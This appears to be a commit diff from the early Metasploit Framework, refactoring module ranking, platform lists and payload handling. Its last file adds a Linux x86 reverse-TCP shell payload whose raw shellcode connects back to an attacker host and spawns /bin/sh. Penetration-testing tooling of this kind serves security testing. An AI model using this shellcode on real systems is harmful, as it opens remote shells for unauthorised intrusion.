class BSD < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
class OpenBSD < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
class BSDi < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
class NetBSD < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
|
||||
class FreeBSD < Msf::Module::Platform
|
||||
Rank = 100
|
||||
end
|
||||
end
|
||||
|
@ -58,13 +58,23 @@ class Msf::Module::PlatformList
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Checks to see if the platform list is empty.
|
||||
#
|
||||
def empty?
|
||||
return platforms.empty?
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of names contained within this platform list.
|
||||
#
|
||||
def names
|
||||
platforms.map { |m| m.name.split('::')[3 .. -1].join(' ') }
|
||||
platforms.map { |m| m.realname }
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic check to see if this platform list represents 'all' platforms.
|
||||
#
|
||||
def all?
|
||||
names.each do |name|
|
||||
return true if name == ''
|
||||
@ -72,8 +82,10 @@ class Msf::Module::PlatformList
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Do I support plist (do I support all of they support?)
|
||||
# use for matching say, an exploit and a payload
|
||||
#
|
||||
def supports?(plist)
|
||||
plist.platforms.each { |pl|
|
||||
supported = false
|
||||
|
@ -10,19 +10,21 @@ class Msf::Module::PlatformList::UnitTest < Test::Unit::TestCase
|
||||
|
||||
def test_range
|
||||
assert_equal(
|
||||
[ Msf::Module::Platform::Windows::X86::XP::SP0,
|
||||
Msf::Module::Platform::Windows::X86::XP::SP1
|
||||
[ Msf::Module::Platform::Windows::XP::SP0,
|
||||
Msf::Module::Platform::Windows::XP::SP1
|
||||
], Msf::Module::PlatformList.new('winxpsp0' .. 'winxpsp1').platforms
|
||||
)
|
||||
end
|
||||
|
||||
def test_names
|
||||
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.new('winxpsp2').names)
|
||||
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.new('winxpsp2').names)
|
||||
end
|
||||
|
||||
def test_transform
|
||||
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.transform('winxpsp2').names)
|
||||
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.transform(['winxpsp2']).names)
|
||||
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.transform('winxpsp2').names)
|
||||
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.transform(['winxpsp2']).names)
|
||||
assert_equal([ 'Windows 2000 SP3' ], Msf::Module::PlatformList.transform(['win2000sp3']).names)
|
||||
assert_equal([ 'Windows 2000 SP3' ], Msf::Module::PlatformList.transform(['win2ksp3']).names)
|
||||
end
|
||||
|
||||
def test_all
|
||||
@ -40,8 +42,8 @@ class Msf::Module::PlatformList::UnitTest < Test::Unit::TestCase
|
||||
l1 = Msf::Module::PlatformList.new('win')
|
||||
l2 = Msf::Module::PlatformList.new('win xp sp0', 'win xp sp2')
|
||||
assert_equal(
|
||||
[ Msf::Module::Platform::Windows::X86::XP::SP0,
|
||||
Msf::Module::Platform::Windows::X86::XP::SP2
|
||||
[ Msf::Module::Platform::Windows::XP::SP0,
|
||||
Msf::Module::Platform::Windows::XP::SP2
|
||||
], (l1 & l2).platforms
|
||||
)
|
||||
|
||||
|
@ -13,6 +13,9 @@ module Msf
|
||||
#
|
||||
###
|
||||
class ModuleSet < Hash
|
||||
|
||||
include Framework::Offspring
|
||||
|
||||
def initialize(type = nil)
|
||||
self.module_type = type
|
||||
|
||||
@ -21,46 +24,27 @@ class ModuleSet < Hash
|
||||
self.mod_arch_hash = {}
|
||||
self.mod_platform_hash = {}
|
||||
self.mod_sorted = nil
|
||||
self.mod_ranked = nil
|
||||
end
|
||||
|
||||
# Create an instance of the supplied module by its name
|
||||
def create(name)
|
||||
klass = self[name]
|
||||
|
||||
|
||||
return (klass) ? klass.new : nil
|
||||
end
|
||||
|
||||
# Enumerates each module class in the set
|
||||
def each_module(opts = {}, &block)
|
||||
# Re-sort if the cached copy is out of date
|
||||
mod_sorted = self.sort if (mod_sorted == nil)
|
||||
|
||||
each_module_list(mod_sorted, opts, &block)
|
||||
end
|
||||
|
||||
mod_sorted.each { |entry|
|
||||
name, mod = entry
|
||||
def each_module_ranked(opts = {}, &block)
|
||||
mod_ranked = rank_modules if (mod_ranked == nil)
|
||||
|
||||
# Filter out incompatible architectures
|
||||
if (opts['arch'])
|
||||
if (!mod_arch_hash[mod])
|
||||
mod_arch_hash[mod] = mod.new.arch
|
||||
end
|
||||
|
||||
next if (mod_arch_hash[mod].include?(opts['arch']) == false)
|
||||
end
|
||||
|
||||
# Filter out incompatible platforms
|
||||
if (opts['platform'])
|
||||
if (!mod_platform_hash[mod])
|
||||
mod_platform_hash[mod] = mod.new.platform
|
||||
end
|
||||
|
||||
next if (mod_platform_hash[mod].include?(opts['platform']) == false)
|
||||
end
|
||||
|
||||
# Custom filtering
|
||||
next if (each_module_filter(opts, name, entry) == true)
|
||||
|
||||
block.call(name, mod)
|
||||
}
|
||||
each_module_list(mod_ranked, opts, &block)
|
||||
end
|
||||
|
||||
#
|
||||
@ -81,21 +65,87 @@ class ModuleSet < Hash
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Enumerates the modules in the supplied array with possible limiting
|
||||
# factors.
|
||||
#
|
||||
def each_module_list(ary, opts, &block)
|
||||
ary.each { |entry|
|
||||
name, mod = entry
|
||||
|
||||
# Filter out incompatible architectures
|
||||
if (opts['Arch'])
|
||||
if (!mod_arch_hash[mod])
|
||||
mod_arch_hash[mod] = mod.new.arch
|
||||
end
|
||||
|
||||
next if ((mod_arch_hash[mod] & opts['Arch']).empty? == true)
|
||||
end
|
||||
|
||||
# Filter out incompatible platforms
|
||||
if (opts['Platform'])
|
||||
if (!mod_platform_hash[mod])
|
||||
mod_platform_hash[mod] = mod.new.platform
|
||||
end
|
||||
|
||||
next if ((mod_platform_hash[mod] & opts['Platform']).empty? == true)
|
||||
end
|
||||
|
||||
# Custom filtering
|
||||
next if (each_module_filter(opts, name, entry) == true)
|
||||
|
||||
block.call(name, mod)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Ranks modules based on their constant rank value, if they have one.
|
||||
#
|
||||
def rank_modules
|
||||
mod_ranked = self.sort { |a, b|
|
||||
a_name, a_mod = a
|
||||
b_name, b_mod = b
|
||||
|
||||
# Extract the ranking between the two modules
|
||||
a_rank = a.const_defined?('Rank') ? a.const_get('Rank') : NormalRanking
|
||||
b_rank = b.const_defined?('Rank') ? b.const_get('Rank') : NormalRanking
|
||||
|
||||
# Compare their relevant rankings. Since we want highest to lowest,
|
||||
# we compare b_rank to a_rank in terms of higher/lower precedence
|
||||
b_rank <=> a_rank
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Adds a module with a the supplied name
|
||||
#
|
||||
def add_module(module_class, name)
|
||||
# Duplicate the module class so that we can operate on a
|
||||
# framework-specific copy of it.
|
||||
dup = module_class.dup
|
||||
|
||||
# Set the module's name so that it can be referenced when
|
||||
# instances are created.
|
||||
module_class.refname = name
|
||||
dup.framework = framework
|
||||
dup.refname = name
|
||||
|
||||
self[name] = module_class
|
||||
self[name] = dup
|
||||
|
||||
# Invalidate the sorted array
|
||||
invalidate_cache
|
||||
end
|
||||
|
||||
#
|
||||
# Invalidates the sorted and ranked module caches.
|
||||
#
|
||||
def invalidate_cache
|
||||
mod_sorted = nil
|
||||
mod_ranked = nil
|
||||
end
|
||||
|
||||
attr_writer :module_type
|
||||
attr_accessor :mod_arch_hash, :mod_platform_hash
|
||||
attr_accessor :mod_sorted
|
||||
attr_accessor :mod_sorted, :mod_ranked
|
||||
|
||||
end
|
||||
|
||||
@ -119,6 +169,8 @@ class ModuleManager < ModuleSet
|
||||
|
||||
require 'msf/core/payload_set'
|
||||
|
||||
include Framework::Offspring
|
||||
|
||||
def initialize()
|
||||
self.module_paths = []
|
||||
self.module_history = {}
|
||||
@ -134,6 +186,9 @@ class ModuleManager < ModuleSet
|
||||
end
|
||||
|
||||
self.module_sets[type] = instance
|
||||
|
||||
# Set the module set's framework reference
|
||||
instance.framework = self.framework
|
||||
}
|
||||
|
||||
super
|
||||
|
@ -20,27 +20,17 @@ class Payload < Msf::Module
|
||||
# Platform specific includes
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
#
|
||||
# Payload types
|
||||
#
|
||||
module Type
|
||||
Single = (1 << 0)
|
||||
Stager = (1 << 1)
|
||||
Stage = (1 << 2)
|
||||
end
|
||||
|
||||
class <<self
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
# Initialize this payload as having an empty set of stagers
|
||||
self.stagers = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Indexes the stagers array
|
||||
#
|
||||
def [](key)
|
||||
end
|
||||
|
||||
##
|
||||
@ -49,41 +39,55 @@ class Payload < Msf::Module
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This module is a payload.
|
||||
#
|
||||
def type
|
||||
return MODULE_PAYLOAD
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the string of bad characters for this payload, if any.
|
||||
#
|
||||
def badchars
|
||||
return self.module_info['BadChars']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the type of payload, either single or staged. Stage is
|
||||
# the default because singles and stagers are encouraged to include
|
||||
# the Single and Stager mixin which override the payload_type.
|
||||
#
|
||||
def payload_type
|
||||
return Type::Stage
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the payload's size. If the payload is staged, the size of the
|
||||
# first stage is returned.
|
||||
#
|
||||
def size
|
||||
return (generate() || '').length
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the raw payload that has not had variable substitution occur.
|
||||
#
|
||||
def payload
|
||||
return module_info['Payload']['Payload']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the offsets to variables that must be substitute, if any.
|
||||
#
|
||||
def offsets
|
||||
return module_info['Payload']['Offsets']
|
||||
end
|
||||
|
||||
#
|
||||
# Return the connection associated with this payload, or none if there
|
||||
# isn't one.
|
||||
#
|
||||
def handler
|
||||
return module_info['Handler']
|
||||
end
|
||||
@ -94,7 +98,9 @@ class Payload < Msf::Module
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Generates the payload and return the raw buffer
|
||||
#
|
||||
def generate
|
||||
raw = payload
|
||||
|
||||
@ -107,10 +113,12 @@ class Payload < Msf::Module
|
||||
return raw
|
||||
end
|
||||
|
||||
#
|
||||
# Substitutes variables with values from the module's datastore in the
|
||||
# supplied raw buffer for a given set of named offsets. For instance,
|
||||
# RHOST is substituted with the RHOST value from the datastore which will
|
||||
# have been populated by the framework.
|
||||
#
|
||||
def substitute_vars(raw, offsets)
|
||||
offsets.each_pair { |name, info|
|
||||
offset, pack = info
|
||||
@ -139,21 +147,55 @@ class Payload < Msf::Module
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Replaces an individual variable in the supplied buffer at an offset
|
||||
# using the given pack type. This is here to allow derived payloads
|
||||
# the opportunity to replace advanced variables.
|
||||
#
|
||||
def replace_var(raw, name, offset, pack)
|
||||
return false
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Shortcut methods for filtering compatible encoders
|
||||
# and NOP sleds
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Returns the array of compatible encoders for this payload instance.
|
||||
#
|
||||
def compatible_encoders
|
||||
encoders = []
|
||||
|
||||
framework.encoders.each_module_ranked(
|
||||
'Arch' => self.arch) { |entry|
|
||||
encoders << entry[1]
|
||||
}
|
||||
|
||||
return encoders
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the array of compatible nops for this payload instance.
|
||||
#
|
||||
def compatible_nops
|
||||
nops = []
|
||||
|
||||
framework.nops.each_module_ranked(
|
||||
'Arch' => self.arch) { |entry|
|
||||
nops << entry[1]
|
||||
}
|
||||
|
||||
return nops
|
||||
end
|
||||
|
||||
# Payload prepending and appending for various situations
|
||||
attr_accessor :prepend, :append, :prepend_encoder
|
||||
attr_reader :stagers
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :stagers
|
||||
|
||||
##
|
||||
#
|
||||
# Custom merge operations for payloads
|
||||
|
@ -47,6 +47,9 @@ class PayloadSet < ModuleSet
|
||||
# Singles will simply point to the single payload class.
|
||||
self.stages = {}
|
||||
self.singles = {}
|
||||
|
||||
# Hash that caches the sizes of payloads
|
||||
self.sizes = {}
|
||||
end
|
||||
|
||||
#
|
||||
@ -81,6 +84,9 @@ class PayloadSet < ModuleSet
|
||||
|
||||
# Add it to the set
|
||||
add_single(p, name)
|
||||
|
||||
# Cache the payload's size
|
||||
sizes[name] = p.new.size
|
||||
}
|
||||
|
||||
# Recalculate stagers and stages
|
||||
@ -126,6 +132,9 @@ class PayloadSet < ModuleSet
|
||||
|
||||
# Add the stage
|
||||
add_stage(p, combined, stage_name, handler.handler_type)
|
||||
|
||||
# Cache the payload's size
|
||||
sizes[combined] = p.new.size
|
||||
}
|
||||
}
|
||||
end
|
||||
@ -177,6 +186,8 @@ class PayloadSet < ModuleSet
|
||||
# Adds a single payload to the set and adds it to the singles hash
|
||||
#
|
||||
def add_single(p, name)
|
||||
p.framework = framework
|
||||
|
||||
# Associate this class with the single payload's name
|
||||
self[name] = p
|
||||
|
||||
@ -194,6 +205,8 @@ class PayloadSet < ModuleSet
|
||||
# using the supplied handler type.
|
||||
#
|
||||
def add_stage(p, full_name, stage_name, handler_type)
|
||||
p.framework = framework
|
||||
|
||||
# Associate this stage's full name with the payload class in the set
|
||||
self[full_name] = p
|
||||
|
||||
@ -210,7 +223,7 @@ class PayloadSet < ModuleSet
|
||||
dlog("Built staged payload #{full_name}.", 'core', LEV_1)
|
||||
end
|
||||
|
||||
attr_reader :stages, :singles
|
||||
attr_reader :stages, :singles, :sizes
|
||||
|
||||
protected
|
||||
|
||||
@ -253,7 +266,7 @@ protected
|
||||
end
|
||||
|
||||
attr_accessor :manager, :payload_type_modules
|
||||
attr_writer :stages, :singles
|
||||
attr_writer :stages, :singles, :sizes
|
||||
|
||||
end
|
||||
|
||||
|
42
modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
Normal file
42
modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
Normal file
@ -0,0 +1,42 @@
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
module Payloads
|
||||
module Singles
|
||||
module Linux
|
||||
module Ia32
|
||||
|
||||
module Shell
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux Command Shell, Reverse TCP Inline',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => 'skape',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_IA32,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x1a, 'ADDR' ],
|
||||
'LPORT' => [ 0x20, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" +
|
||||
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68" +
|
||||
"\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" +
|
||||
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" +
|
||||
"\x89\xe1\xb0\x0b\xcd\x80"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end end
|
Loading…
Reference in New Issue
Block a user